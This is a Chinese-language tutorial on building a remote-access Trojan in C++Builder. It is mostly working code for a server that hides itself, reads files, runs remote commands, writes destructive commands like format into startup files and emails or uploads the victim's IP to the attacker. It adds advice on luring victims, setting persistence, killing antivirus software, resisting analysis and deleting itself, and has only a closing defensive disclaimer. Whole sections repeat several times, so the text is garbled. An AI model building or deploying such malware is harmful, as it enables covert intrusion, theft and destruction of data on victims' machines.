簡單的木馬編寫之服務端篇

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信息來源:邪惡八進制信息安全團隊(www.eviloctal.com)


特洛依木馬這個名詞大家應該不陌生,自從98年“死牛崇拜”黑客小組公佈Back Orifice以來,木馬猶如平地上的驚雷, 使在Dos——Windows時代中長大的中國網民從五彩繽紛的網絡之夢中驚醒,終於認識到的網絡也有它邪惡的一面,一時間人心惶惶。 
  我那時在《電腦報》上看到一篇文章,大意是一個菜鳥被人用BO控制了,嚇得整天吃不下飯、睡不着覺、上不了網,到處求救!要知道,木馬(Trojan)的歷史是很悠久的:早在AT&T Unix和BSD Unix十分盛行的年代,木馬是由一些玩程式(主要是C)水平很高的年輕人(主要是老美)用C或Shell語言編寫的,基本是用來竊取登陸主機的口令,以取得更高的權限。那時木馬的主要方法是誘騙——先修改你的.profile文件,植入木馬;當你登陸時將你敲入的口令字符存入一個文件,用Email的形式發到攻擊者的郵箱裏。國內的年輕人大都是在盜版Dos的薰陶下長大的,對網絡可以說很陌生。直到Win9x橫空出世,尤其是WinNt的普及,大大推動了網絡事業的發展的時候,BO這個用三年後的眼光看起來有點簡單甚至可以說是簡陋的木馬(甚至在Win9x的“關閉程序”對話框可以看到進程)給了當時中國人極大的震撼,它在中國的網絡安全方面可以說是一個劃時代的軟件。


  自己編寫木馬,聽起來很Cool是不是?!木馬一定是由兩部分組成——服務器程序(Server)和客戶端程序(Client),服務器負責打開攻擊的道路,就像一個內奸特務;客戶端負責攻擊目標,兩者需要一定的網絡協議來進行通訊(一般是TCP/IP協議)。爲了讓大家更好的瞭解木馬攻擊技術,破除木馬的神祕感,我就來粗略講一講編寫木馬的技術並順便編寫一個例子木馬,使大家能更好地防範和查殺各種已知和未知的木馬。


  首先是編程工具的選擇。目前流行的開發工具有C++Builder、VC、VB和Delphi,這裏我們選用C++Builder(以下簡稱BCB);VC雖然好,但GUI設計太複雜,爲了更好地突出我的例子,集中注意力在木馬的基本原理上,我們選用可視化的BCB;Delphi也不錯,但缺陷是不能繼承已有的資源(如“死牛崇拜”黑客小組公佈的BO2000源代碼,是VC編寫的,網上俯拾皆是);VB嘛,談都不談——難道你還給受害者傳一個1兆多的動態鏈接庫——Msvbvm60.dll嗎?


啓動C++Builder 5.0企業版,新建一個工程,添加三個VCL控件:一個是Internet頁中的Server Socket,另兩個是Fastnet頁中的NMFTP和NMSMTP。Server Socket的功能是用來使本程序變成一個服務器程序,可以對外服務(對攻擊者敞開大門)。Socket最初是在Unix上出現的,後來微軟將它引入了Windows中(包括Win98和WinNt);後兩個控件的作用是用來使程序具有FTP(File Transfer Protocol文件傳輸協議)和SMTP(Simple Mail Transfer Protocol簡單郵件傳輸協議)功能,大家一看都知道是使軟件具有上傳下載功能和發郵件功能的控件。 




  Form窗體是可視的,這當然是不可思議的。不光佔去了大量的空間(光一個Form就有300K之大),而且使軟件可見,根本沒什麼作用。因此實際寫木馬時可以用一些技巧使程序不包含Form,就像Delphi用過程實現的小程序一般只有17K左右那樣。


  我們首先應該讓我們的程序能夠隱身。雙擊Form,首先在FormCreate事件中添加可使木馬在Win9x的“關閉程序”對話框中隱藏的代碼。這看起來很神祕,其實說穿了不過是一種被稱之爲Service的後臺進程,它可以運行在較高的優先級下,可以說是非常靠近系統核心的設備驅動程序中的那一種。因此,只要將我們的程序在進程數據庫中用RegisterServiceProcess()函數註冊成服務進程(Service Process)就可以了。不過該函數的聲明在Borland預先打包的頭文件中沒有,那麼我們只好自己來聲明這個位於KERNEL32.DLL中的鳥函數了。


  首先判斷目標機的操作系統是Win9x還是WinNt:


{
DWORD dwVersion = GetVersion();
// 得到操作系統的版本號
if (dwVersion >= 0x80000000)
// 操作系統是Win9x,不是WinNt
 { 
   typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
    //定義RegisterServiceProcess()函數的原型
    HINSTANCE hDLL;
   LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
   hDLL = LoadLibrary("KERNEL32");
   //加載RegisterServiceProcess()函數所在的動態鏈接庫KERNEL32.DLL
   lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
    //得到RegisterServiceProcess()函數的地址
    lpRegisterServiceProcess(GetCurrentProcessId(),1);
   //執行RegisterServiceProcess()函數,隱藏本進程
   FreeLibrary(hDLL);
   //卸載動態鏈接庫
 }
}


  這樣就終於可以隱身了(害我敲了這麼多代碼!)。爲什麼要判斷操作系統呢?因爲WinNt中的進程管理器可以對當前進程一覽無餘,因此沒必要在WinNt下也使用以上代碼(不過你可以使用其他的方法,這個留到後面再講)。


好,大門敞開了!接着就是修改目標機的各種配置了!^_^ 首先我們來修改Autoexec.bat和Config.sys吧: 




{
if(temp.SubString(0,9)=="edit conf")
 //如果接受到的字符串的前9個字符是“edit conf”
 {
   int number=temp.Length();
   //得到字符串的長度
   int file_name=atoi((temp.SubString(11,1)).c_str());
   //將第11個字符轉換成integer型,存入file_name變量
   //爲什麼要取第11個字符,因爲第10個字符是空格字符
   content=(temp.SubString(12,number-11)+'n').c_str();
   //餘下的字符串將被作爲寫入的內容寫入目標文件
   FILE *fp=NULL;
   char filename[20];
   chmod("c:\autoexec.bat",S_IREAD|S_IWRITE);
   chmod("c:\config.sys",S_IREAD|S_IWRITE);
   //將兩個目標文件的屬性改爲可讀可寫
   if(file_name==1)
    sprintf(filename,"%s","c:\autoexec.bat");
    //如果第11個字符是1,就把Autoexec.bat格式化
   else if(file_name==2)
    sprintf(filename,"%s","c:\config.sys");
    //如果第11個字符是1,就把Config.sys格式化
   times_of_try=0;
   //定義計數器
   while(fp==NULL)
    {
     //如果指針是空
    fp=fopen(filename,"a+");
    //如果文件不存在,創建之;如果存在,準備在其後添加
    //如果出錯,文件指針爲空,這樣就會重複
    times_of_try=times_of_try+1;
    //計數器加1
    if(times_of_try>100)
    {
       //如果已經試了100次了,仍未成功
       Socket->SendText("Fail By Open File");
       //就發回“Fail By Open File”的錯誤信息
       goto END;
       //跳至END處
    }
    }
   fwrite(content,sizeof(char),strlen(content),fp);
   //寫入添加的語句,例如deltree/y C:或者format/q/autotest C:,夠毒吧?!
   fclose(fp);
   //寫完後關閉目標文件
   Socket->SendText("Sucess");
   //然後發回“Success”的成功信息
  }
}


  你現在可以通過網絡來察看目標機上的這兩個文件了,並且還可以向裏面隨意添加任何命令。呵呵,這只不過是牛刀小試罷了。


下面我們就來查看目標機上的目錄樹和文件吧,這在客戶端上使用“dir”命令,跟着敲囉: 


{
else if(temp.SubString(0,3)=="dir")
{
  //如果前3個字符是“dir”
  int Read_Num;
  char * CR_LF="n";
  int attrib;
  char *filename;
  DIR *dir;
  struct dirent *ent;
  int number=temp.Length();
  //得到字符串的長度
  AnsiString Dir_Name=temp.SubString(5,number-3);
  //從字符串第六個字符開始,將後面的字符存入Dir_Name變量,這是目錄名
  if(Dir_Name=="")
   {
    //如果目錄名爲空
    Socket->SendText("Fail By Open DIR's Name");
    //返回“Fail By Open DIR's Name”信息
    goto END;
    //跳到END
   }
  char * dirname;
  dirname=Dir_Name.c_str();
  if ((dir = opendir(dirname)) == NULL)
   {
    //如果打開目錄出錯
    Socket->SendText("Fail by your DIR's name!");
    //返回“Fail By Your DIR's Name”信息
    goto END;
    //跳到END
   }
  times_of_try=0;
  while(fp==NULL)
   {
    //如果指針是NULL
    fp=fopen(TempFile,"w+");
    //就創建systemWin369.bat準備讀和寫;如果此文件已存在,則會被覆蓋
    times_of_try=times_of_try+1;
    //計數器加1
    if(times_of_try>100)
      {
      //如果已經試了100次了,仍未成功(真有耐心!)
      Socket->SendText("Fail By Open File");
      //就發回“Fail By Open File”的錯誤信息
      goto END;
      //並跳到END處
      }
    }
   while ((ent = readdir(dir)) != NULL)
    {
     //如果訪問目標目錄成功
     if(*(AnsiString(dirname)).AnsiLastChar()!='\')
     //如果最後一個字符不是“”,證明不是根目錄
     filename=(AnsiString(dirname)+"\"+ent->d_name).c_str();
     //加上“”字符後將指針指向目錄流
     else
     filename=(AnsiString(dirname)+ent->d_name).c_str();
     //如果是根目錄,則不用加“”
     attrib=_rtl_chmod(filename, 0);
     //得到目標文件的訪問屬性
     if (attrib & FA_RDONLY)
     //“&”字符是比較前後兩個變量,如果相同返回1,否則返回0
     fwrite(" R",sizeof(char),3,fp);
     //將目標文件屬性設爲只讀
     else
     fwrite(" ",sizeof(char),3,fp);
     //失敗則寫入空格
     if (attrib & FA_HIDDEN)
     fwrite("H",sizeof(char),1,fp);
     //將目標文件屬性設爲隱藏
     else
     fwrite(" ",sizeof(char),1,fp);
     //失敗則寫入空格
     if (attrib & FA_SYSTEM)
     fwrite("S",sizeof(char),1,fp);
     //將目標文件屬性設爲系統
     else
     fwrite(" ",sizeof(char),1,fp);
     //失敗則寫入空格
     if (attrib & FA_ARCH)
     fwrite("A",sizeof(char),1,fp);
     //將目標文件屬性設爲普通
     else
     fwrite(" ",sizeof(char),1,fp);
     //失敗則寫入空格
     if (attrib & FA_DIREC)
     fwrite(" 


",sizeof(char),9,fp);
     //將目標文件屬性設爲目錄
     else
     fwrite("     ",sizeof(char),9,fp);
     //失敗則寫入空格
     fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp);
     //將目錄名寫入目標文件
     fwrite(CR_LF,1,1,fp);
     //寫入換行
    }
    fclose(fp);
    //關閉文件
    closedir(dir);
    //關閉目錄
    FILE *fp1=NULL;
    times_of_try=0;
    while(fp1==NULL)
     {
     fp1=fopen(TempFile,"r");
     //打開Win369.bat準備讀
     times_of_try=times_of_try+1;
     //計數器加1
     if(times_of_try>100)
     {
       //如果已經試了100次了,仍未成功
       Socket->SendText("Fail By Open File");
       //就發回“Fail By Open File”的錯誤信息
       goto END;
       //並跳到END處
     }
     }
    AnsiString Return_Text="";
    char temp_content[300];
    for(int i=0;i<300;i++) temp_content=&#39;&#39;;
    //定義的一個空數組
    Read_Num=fread(temp_content,1,300,fp1);
    //從目標文件中讀入前300個字符
    while(Read_Num==300)
    {
     Return_Text=Return_Text+temp_content;
     //Return_Text變量加上剛纔的300個字符
     for(int i=0;i<300;i++) temp_content=&#39;&#39;;
     Read_Num=fread(temp_content,1,300,fp1);
     //重複
    };
    Return_Text=Return_Text+temp_content;
    //Return_Text變量加上剛纔的300個字符
    fclose(fp1);
    //關閉目標文件
    Socket->SendText(Return_Text);
    //返回Return_Text變量的內容
  }
}  


 夠長吧?!察看目錄樹這麼費勁啊?!你後面可以用BCB中的各種列表框對Client.exe好好美化美化。接下來就是查看指定文件的內容了,Client將使用“type”命令,(手指累不累啊?): 




{
else if(temp.SubString(0,4)=="type")
{
  //如果前4個字符是“type”
  int Read_Num;
  int number=temp.Length();
  AnsiString File_Name=temp.SubString(6,number-4);
  //將目標文件流存入File_Name變量中
  times_of_try=0;
  while(fp==NULL)
   {
    fp=fopen(File_Name.c_str(),"r");
    //打開目標文件準備讀
    times_of_try=times_of_try+1;
    //計數器加1
    if(times_of_try>100)
    {
     //如果已試了100次了
      Socket->SendText("Fail By Open File");
      //返回“Fail By Open File”的錯誤信息
      goto END;
      //跳到END
    }
   }
  AnsiString Return_Text="";
  char temp_content[300];
  for(int i=0;i<300;i++) temp_content=&#39;&#39;;
  //定義一個空數組
  Read_Num=fread(temp_content,1,300,fp);
  //從目標文件中讀入前300個字符
  while(Read_Num==300)
   {
    Return_Text=Return_Text+temp_content;
    //Return_Text的內容加上剛纔的字符
    for(int i=0;i<300;i++) temp_content=&#39;&#39;;
    Read_Num=fread(temp_content,1,300,fp);
    //重複
   };
  Return_Text=Return_Text+temp_content;
  //Return_Text的內容加上剛纔的字符
  fclose(fp);
  //關閉目標文件
  Socket->SendText(Return_Text);
  //返回Return_Text的內容,即你查看文件的內容
}
}


  咳咳!累死了!還是來點輕鬆的吧——操縱目標機的光驅(注意:mciSendString()函數的聲明在mmsystem.h頭文件中):


{
else if(temp=="open")
{
  //如果收到的temp的內容是“open”
  mciSendString("set cdaudio door open", NULL, 0, NULL);
  //就彈出光驅的托盤
}
else if(temp=="close")
{
  //如果收到的temp的內容是“close”
  mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);
  //就收入光驅的托盤。當然你也可以搞個死循環,讓他的光驅好好活動活動!^_^
}
}
 夠長吧?!察看目錄樹這麼費勁啊?!你後面可以用BCB中的各種列表框對Client.exe好好美化美化。接下來就是查看指定文件的內容了,Client將使用“type”命令,(手指累不累啊?): 




{
else if(temp.SubString(0,4)=="type")
{
  //如果前4個字符是“type”
  int Read_Num;
  int number=temp.Length();
  AnsiString File_Name=temp.SubString(6,number-4);
  //將目標文件流存入File_Name變量中
  times_of_try=0;
  while(fp==NULL)
   {
    fp=fopen(File_Name.c_str(),"r");
    //打開目標文件準備讀
    times_of_try=times_of_try+1;
    //計數器加1
    if(times_of_try>100)
    {
     //如果已試了100次了
      Socket->SendText("Fail By Open File");
      //返回“Fail By Open File”的錯誤信息
      goto END;
      //跳到END
    }
   }
  AnsiString Return_Text="";
  char temp_content[300];
  for(int i=0;i<300;i++) temp_content=&#39;&#39;;
  //定義一個空數組
  Read_Num=fread(temp_content,1,300,fp);
  //從目標文件中讀入前300個字符
  while(Read_Num==300)
   {
    Return_Text=Return_Text+temp_content;
    //Return_Text的內容加上剛纔的字符
    for(int i=0;i<300;i++) temp_content=&#39;&#39;;
    Read_Num=fread(temp_content,1,300,fp);
    //重複
   };
  Return_Text=Return_Text+temp_content;
  //Return_Text的內容加上剛纔的字符
  fclose(fp);
  //關閉目標文件
  Socket->SendText(Return_Text);
  //返回Return_Text的內容,即你查看文件的內容
}
}


  咳咳!累死了!還是來點輕鬆的吧——操縱目標機的光驅(注意:mciSendString()函數的聲明在mmsystem.h頭文件中):


{
else if(temp=="open")
{
  //如果收到的temp的內容是“open”
  mciSendString("set cdaudio door open", NULL, 0, NULL);
  //就彈出光驅的托盤
}
else if(temp=="close")
{
  //如果收到的temp的內容是“close”
  mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);
  //就收入光驅的托盤。當然你也可以搞個死循環,讓他的光驅好好活動活動!^_^
}
}
如果以上都不是,就讓它在Dos窗口中執行傳來的命令: 




{
else
{
  //如果都不是
  char * CR_TF="n";
  times_of_try=0;
  while(fp==NULL)
  {
   fp=fopen(TempFile,"w+");
   //創建Win369.bat,如果已存在就覆蓋
   times_of_try=times_of_try+1;
    //計數器加1
   if(times_of_try>100)
   {
    Socket->SendText("Fail By Open File");
    //返回“Fail By Open File”的信息
    goto END;
    //跳到END
   }
  }
  fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);
  //寫入欲執行的命令
  fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);
  //寫入換行符
  fclose(fp);
  //關閉Win369.bat
  system(TempFile);
  //執行Win369.bat
  Socket->SendText("Success");
  //返回“Success”信息
}
}


  你可以直接執行什麼Ping和Tracert之類的命令來進一步刺探目標機的網絡狀況(判斷是否是一個企業的局域網),然後可以進一步攻擊,比如Deltree和Format命令。
  
  到此,服務器程序的功能已全部完成,但還差容錯部分未完成,這樣才能避免程序因意外而崩潰。


上面已編寫完服務器端的各種功能,但還差容錯部分還未完成,下面我們Go on! 其代碼如下(照敲不誤 ^_^): 


{
END:;
 Socket-〉Close();
 //關閉服務
 ServerSocket1-〉Active =true;
 //再次打開服務
 if (NMSMTP1-〉Connected) NMSMTP1-〉Disconnect();
 //如果SMTP服務器已連接則斷開
 NMSMTP1-〉Host = "smtp.163.net";
 //選一個好用的SMTP服務器,如163、263、sina和btamail
 NMSMTP1-〉UserID = "";
 //你SMTP的ID
 try
 {
  NMSMTP1-〉Connect();
  //再次連接
 }
 catch(...)
 {
  goto NextTime;
  //跳到NextTime
 }
 NMSMTP1-〉PostMessage-〉FromAddress ="I don&#39;t know!";
 //受害者的Email地址
 NMSMTP1-〉PostMessage-〉FromName = "Casualty";
 //受害者的名字
 NMSMTP1-〉PostMessage-〉ToAddress-〉Text = "[email protected]";
 //將信發到我的郵箱,這一步很關鍵
 NMSMTP1-〉PostMessage-〉Body-〉Text = AnsiString("Server Running on:") + NMSMTP1-〉LocalIP ;
 //信的內容提示你“服務器正在運行”,並且告訴你受害者的目前的IP地址,以便連接
 NMSMTP1-〉PostMessage-〉Subject = "Server Running Now!";
 //信的主題
 NMSMTP1-〉SendMail();
 //發送!
 return;
 //返回


NextTime:
 NMFTP1-〉Host = "ftp.go.163.com";
 //你的FTP服務器的地址
 NMFTP1-〉UserID = "";
 //你的用戶ID
 NMFTP1-〉Port = 21;
 //FTP端口號,一般爲21
 NMFTP1-〉Password = "";
 //你的FTP的密碼
 if(NMFTP1-〉Connected) NMFTP1-〉Disconnect();
 //如果已連接就斷開
 try
  {
   NMFTP1-〉Connect();
   //再連接
  }
 catch(...)
  {
    return;
    //返回
  }
 AnsiString SendToSite = "Server Running on: " + NMFTP1-〉RemoteIP;
 //受害者的IP地址
 FILE * Upload;
 Upload = fopen(NMFTP1-〉RemoteIP.c_str(),"w+");
 //創建一個新文件準備寫,如果已存在就覆蓋
 fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);
 //寫入以上的SendToSite的內容
 fclose(Upload);
 //寫完後關閉此文件
 NMFTP1-〉RemoveDir("public_html");
 //刪除public_html目錄
 NMFTP1-〉Upload(NMFTP1-〉RemoteIP, NMFTP1-〉RemoteIP);
 //上傳!
}


啊,超長的OnClientRead事件終於寫完了。最後別忘了要在此服務器源碼文件中添加以下頭文件: 




#include 〈stdlib.h〉
#include 〈dirent.h〉
#include 〈fcntl.h〉
#include 〈dos.h〉
#include 〈sysstat.h〉
#include 〈winbase.h〉
#include 〈stdio.h〉
#include 〈process.h〉
#include 〈io.h〉
#include 〈mmsystem.h〉


  至此,服務器端(Server)程序已全部完工!(終於可以好好歇歇了!)別慌!以上代碼只是完成了整個木馬程序的一半。(“撲通”,有人暈倒了!)下面我們就將乘勝追擊——搞定客戶端程序(Client)!


  客戶端程序其實是很簡單的。另新建一個Form,添加一個ClientSocket(和ServerSocket在相同的頁下),再添加四個Editbox,命名爲Edit1,Edit2,Edit3和Edit4,最後添加一個Button,Caption爲“發送”。Edit1是輸入命令用的,Edit2是準備輸入目標機的IP地址用的,Edit3是輸入連接端口號用的,Edit4是用來輸入欲添加的語句或顯示命令執行的結果的。(頭是不是有點大了?!)


  雙擊Button1,在Button1Click事件中添加如下代碼:


{
  if((Edit2-〉Text=="")||(Edit3-〉Text==""))return;
  //如果輸入IP地址框或輸入端口號框有一個爲空,就什麼也不作
  ClientSocket1-〉Address=Edit2-〉Text;
  //目標IP地址
  ClientSocket1-〉Port=atoi(Edit2-〉Text.c_str());
  //目標端口號,本例中的44444
  ClientSocket1-〉Open();
  //連接!
}


啊,超長的OnClientRead事件終於寫完了。最後別忘了要在此服務器源碼文件中添加以下頭文件: 




#include 〈stdlib.h〉
#include 〈dirent.h〉
#include 〈fcntl.h〉
#include 〈dos.h〉
#include 〈sysstat.h〉
#include 〈winbase.h〉
#include 〈stdio.h〉
#include 〈process.h〉
#include 〈io.h〉
#include 〈mmsystem.h〉


  至此,服務器端(Server)程序已全部完工!(終於可以好好歇歇了!)別慌!以上代碼只是完成了整個木馬程序的一半。(“撲通”,有人暈倒了!)下面我們就將乘勝追擊——搞定客戶端程序(Client)!


  客戶端程序其實是很簡單的。另新建一個Form,添加一個ClientSocket(和ServerSocket在相同的頁下),再添加四個Editbox,命名爲Edit1,Edit2,Edit3和Edit4,最後添加一個Button,Caption爲“發送”。Edit1是輸入命令用的,Edit2是準備輸入目標機的IP地址用的,Edit3是輸入連接端口號用的,Edit4是用來輸入欲添加的語句或顯示命令執行的結果的。(頭是不是有點大了?!)


  雙擊Button1,在Button1Click事件中添加如下代碼:


{
  if((Edit2-〉Text=="")||(Edit3-〉Text==""))return;
  //如果輸入IP地址框或輸入端口號框有一個爲空,就什麼也不作
  ClientSocket1-〉Address=Edit2-〉Text;
  //目標IP地址
  ClientSocket1-〉Port=atoi(Edit2-〉Text.c_str());
  //目標端口號,本例中的44444
  ClientSocket1-〉Open();
  //連接!
}


啊,超長的OnClientRead事件終於寫完了。最後別忘了要在此服務器源碼文件中添加以下頭文件: 




#include 〈stdlib.h〉
#include 〈dirent.h〉
#include 〈fcntl.h〉
#include 〈dos.h〉
#include 〈sysstat.h〉
#include 〈winbase.h〉
#include 〈stdio.h〉
#include 〈process.h〉
#include 〈io.h〉
#include 〈mmsystem.h〉


  至此,服務器端(Server)程序已全部完工!(終於可以好好歇歇了!)別慌!以上代碼只是完成了整個木馬程序的一半。(“撲通”,有人暈倒了!)下面我們就將乘勝追擊——搞定客戶端程序(Client)!


  客戶端程序其實是很簡單的。另新建一個Form,添加一個ClientSocket(和ServerSocket在相同的頁下),再添加四個Editbox,命名爲Edit1,Edit2,Edit3和Edit4,最後添加一個Button,Caption爲“發送”。Edit1是輸入命令用的,Edit2是準備輸入目標機的IP地址用的,Edit3是輸入連接端口號用的,Edit4是用來輸入欲添加的語句或顯示命令執行的結果的。(頭是不是有點大了?!)


  雙擊Button1,在Button1Click事件中添加如下代碼:


{
  if((Edit2-〉Text=="")||(Edit3-〉Text==""))return;
  //如果輸入IP地址框或輸入端口號框有一個爲空,就什麼也不作
  ClientSocket1-〉Address=Edit2-〉Text;
  //目標IP地址
  ClientSocket1-〉Port=atoi(Edit2-〉Text.c_str());
  //目標端口號,本例中的44444
  ClientSocket1-〉Open();
  //連接!
}


終於寫完了!!!(如果你對簡陋的界面不滿意,可以自己用BCB中豐富的控件好好完善完善嘛!)按下Ctrl+F9進行編譯鏈接吧!對於Server,你可以選一個足以迷惑人的圖標(我選的是一個目錄模樣的圖標)進行編譯,這樣不但受害者容易中招,而且便於隱藏自己。 




  接下來就把Server程序寄給受害者,誘騙他(她)執行,在你得到他(她)的IP後(這不用我教吧?),就啓動Client程序,敲入“edit conf 1”就編輯Autoexec.bat文件,敲入“edit conf 2”就編輯Config.sys文件,敲入“dir xxx”(xxx是目錄名)就可以看到目錄和文件,敲“type xxx”就可以察看任何文件,輸入“open”,彈出目標機的光驅托盤,“close”就收入托盤,輸入“swap”就可以交換受害者的鼠標左右鍵,輸入“reboot”就啓動目標機……不用我多說了吧?


  以上只是一個簡單的例子,真正寫起木馬來要解決的技術問題比這多得多,這得需要紮實的編程功底和豐富的經驗。如下的問題就值得仔細考慮:


  首先是程序的大小問題,本程序經編譯鏈接後得到的可執行文件竟有400多K,用Aspack1.07壓了一下也還有200多K。可以看出不必要的Form是應該去掉的;並且儘量由自己調用底層的API函數,而儘量少使用Borland打好包的VCL控件;要儘量使用彙編語言(BCB支持C++和彙編混編),不但速度會加快,而且大小可以小很多,畢竟木馬是越小越好。


  還有啓動方式的選擇。出了Win.ini、System.ini之外,也還是那幾個註冊表鍵值,如:


HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun


HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion
RunServices


HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun


都已被其他的木馬用爛了。現在又開始對exe、dll和txt文件的關聯程序動手腳了(如冰河和廣外女生)。這裏涉及到參數傳遞的問題。得到ParamStr()函數傳來的參數,啓動自己後再啓動與之關聯的程序,並將參數傳遞給它,這樣就完成了一次“雙啓動”,而受害者絲毫感覺不到有任何異常。具體鍵值如:


  與exe文件建立關聯:HKEY_CLASSES_ROOTexefileshellopencommand
  與txt文件建立關聯:HKEY_CLASSES_ROOTtxtfileshellopencommand
  與dll文件建立關聯:HKEY_CLASSES_ROOTdllfileshellopencommand


等,當然還可以自己擴充。目前還有一種新方法:在


HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersion
Windows下添加如下鍵值 "AppInit_DLLs"="Server.dll",這就把Server.dll註冊爲系統啓動時必須加載的模塊(你應該把木馬編譯成DLL)。下次開機時,木馬以動態鏈接庫形式被加載,存在於系統進程中。因爲沒有它自己的PID(Process ID 進程識別號),所以在NT的任務管理器中也看不見(不過在“系統信息”——“軟件環境”——“已加載的32位模塊”中還是可以詳細看到當前內存中加載的每一個模塊的),這樣做的目的是可以使自己的程序更加隱蔽,提高木馬的生存能力。
木馬的功能還可以大大擴充。你可以充分發揮你的想象力——比如上傳、下載、新建、改名、移動文件,截圖存爲jpg文件傳回,錄音監聽成Wav文件,錄像成AVI文件,彈光驅,讀軟驅,關機,重啓,不停地掛起,胡亂切換分辨率(燒掉你的顯示器),發對話框,不停地打開資源管理器直到死機,殺掉Kernel32.dll進程使機器暴死,交換鼠標左右鍵,固定鼠標,限制鼠標活動範圍,鼠標不聽指揮到處亂竄,記錄擊鍵記錄(記錄上網口令,這需要深入瞭解鉤子(Hook)技術,如鍵盤鉤子和鼠標鉤子),竊取重要的密碼文件如pwl和sam文件,格式化磁盤,亂寫磁盤扇區(像病毒大爆發),破壞零磁道,亂寫BIOS(像CIH),胡亂設置CMOS,加密MBR、HDPT和FAT(像江民炸彈)……真是琳琅滿目、心狠手辣呀!而且實現起來並不是很複雜,只不過後面幾項需要比較紮實的彙編功底而已(有幾項要用到Vxd技術)。唉!路漫漫其修遠兮,吾將上下而求索…… 




  如果你想更安全地執行你的入侵活動,就應該像廣外女生一樣可以殺掉防火牆和殺毒軟件的進程。防火牆和殺毒軟件監視的是特徵碼,如果你是新木馬,它就不吱一聲;但是如果你打開不尋常的端口,它就會跳出來報警。因此最好的辦法是啓動後立即分析當前進程,查找有沒有常見防火牆和殺毒軟件的進程,如果有就殺無赦。比如常見的如:Lockdown,天網防火牆,網絡衛兵,kv3000,瑞星,金山毒霸,Pc-Cillin,Panda,Mcafee,Norton和CheckPoint。殺掉後,再在特定的內存地址中作一個標記,使它們誤以爲自己已啓動,因此不會再次啓動自己了。
  
  針對來自反彙編工具的威脅。如果有人試圖將你的木馬程序反彙編,他成功後,你的一切祕密就暴露在他的面前了,因此,我們要想辦法保護自己的作品。首先想到的是條件跳轉,條件跳轉對於反向工程來說並不有趣。沒有循環,只是跳轉,作爲使偷竊者令人頭痛的路障。這樣,就沒有簡單的反向操作可以執行了。陷阱,另一個我不太肯定,但聽說有程序使用的方法:用CRC校驗你的EXE文件,如果它被改變了,不要顯示典型錯誤信息,而給予偷竊者致命的一擊。


  最後如果你需要它完成任務後可以自己刪除自己,我提示你:退出前建立一個批處理文件,加入循環刪除本exe文件和本批處理文件自己的命令後保存,執行它,再放心地退出。你可以試一下,所有文件都消失了吧?!這叫“踏雪無痕”。


  入侵安裝了防火牆的機器最好使用自己編寫的木馬,這樣不光防火牆不會報警,而且你自己心裏也坦然一些——畢竟是自己的作品嗎!如果你是系統管理員,那就請你不要偷懶,不僅要經常掃描1024以下的端口,而且包括1024以上的高端端口也要仔細掃描,65535個端口一個也不能漏。因爲許多木馬打開的就是高端端口(如本例中的4444)。


  寫在最後:上面例子的用意並不是教你去如何攻擊他人,目的只是讓你瞭解木馬的工作原理和簡單的編寫步驟,以便更好地防範和殺除木馬,維護我們自己應有的網絡安全。因此,請列位看官好自爲之,不要亂下殺手啊!




{
END:;
 Socket-〉Close();
 //關閉服務
 ServerSocket1-〉Active =true;
 //再次打開服務
 if (NMSMTP1-〉Connected) NMSMTP1-〉Disconnect();
 //如果SMTP服務器已連接則斷開
 NMSMTP1-〉Host = "smtp.163.net";
 //選一個好用的SMTP服務器,如163、263、sina和btamail
 NMSMTP1-〉UserID = "";
 //你SMTP的ID
 try
 {
  NMSMTP1-〉Connect();
  //再次連接
 }
 catch(...)
 {
  goto NextTime;
  //跳到NextTime
 }
 NMSMTP1-〉PostMessage-〉FromAddress ="I don&#39;t know!";
 //受害者的Email地址
 NMSMTP1-〉PostMessage-〉FromName = "Casualty";
 //受害者的名字
 NMSMTP1-〉PostMessage-〉ToAddress-〉Text = "[email protected]";
 //將信發到我的郵箱,這一步很關鍵
 NMSMTP1-〉PostMessage-〉Body-〉Text = AnsiString("Server Running on:") + NMSMTP1-〉LocalIP ;
 //信的內容提示你“服務器正在運行”,並且告訴你受害者的目前的IP地址,以便連接
 NMSMTP1-〉PostMessage-〉Subject = "Server Running Now!";
 //信的主題
 NMSMTP1-〉SendMail();
 //發送!
 return;
 //返回


NextTime:
 NMFTP1-〉Host = "ftp.go.163.com";
 //你的FTP服務器的地址
 NMFTP1-〉UserID = "";
 //你的用戶ID
 NMFTP1-〉Port = 21;
 //FTP端口號,一般爲21
 NMFTP1-〉Password = "";
 //你的FTP的密碼
 if(NMFTP1-〉Connected) NMFTP1-〉Disconnect();
 //如果已連接就斷開
 try
  {
   NMFTP1-〉Connect();
   //再連接
  }
 catch(...)
  {
    return;
    //返回
  }
 AnsiString SendToSite = "Server Running on: " + NMFTP1-〉RemoteIP;
 //受害者的IP地址
 FILE * Upload;
 Upload = fopen(NMFTP1-〉RemoteIP.c_str(),"w+");
 //創建一個新文件準備寫,如果已存在就覆蓋
 fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);
 //寫入以上的SendToSite的內容
 fclose(Upload);
 //寫完後關閉此文件
 NMFTP1-〉RemoveDir("public_html");
 //刪除public_html目錄
 NMFTP1-〉Upload(NMFTP1-〉RemoteIP, NMFTP1-〉RemoteIP);
 //上傳!
}


啊,超長的OnClientRead事件終於寫完了。最後別忘了要在此服務器源碼文件中添加以下頭文件: 




#include 〈stdlib.h〉
#include 〈dirent.h〉
#include 〈fcntl.h〉
#include 〈dos.h〉
#include 〈sysstat.h〉
#include 〈winbase.h〉
#include 〈stdio.h〉
#include 〈process.h〉
#include 〈io.h〉
#include 〈mmsystem.h〉


  至此,服務器端(Server)程序已全部完工!(終於可以好好歇歇了!)別慌!以上代碼只是完成了整個木馬程序的一半。(“撲通”,有人暈倒了!)下面我們就將乘勝追擊——搞定客戶端程序(Client)!
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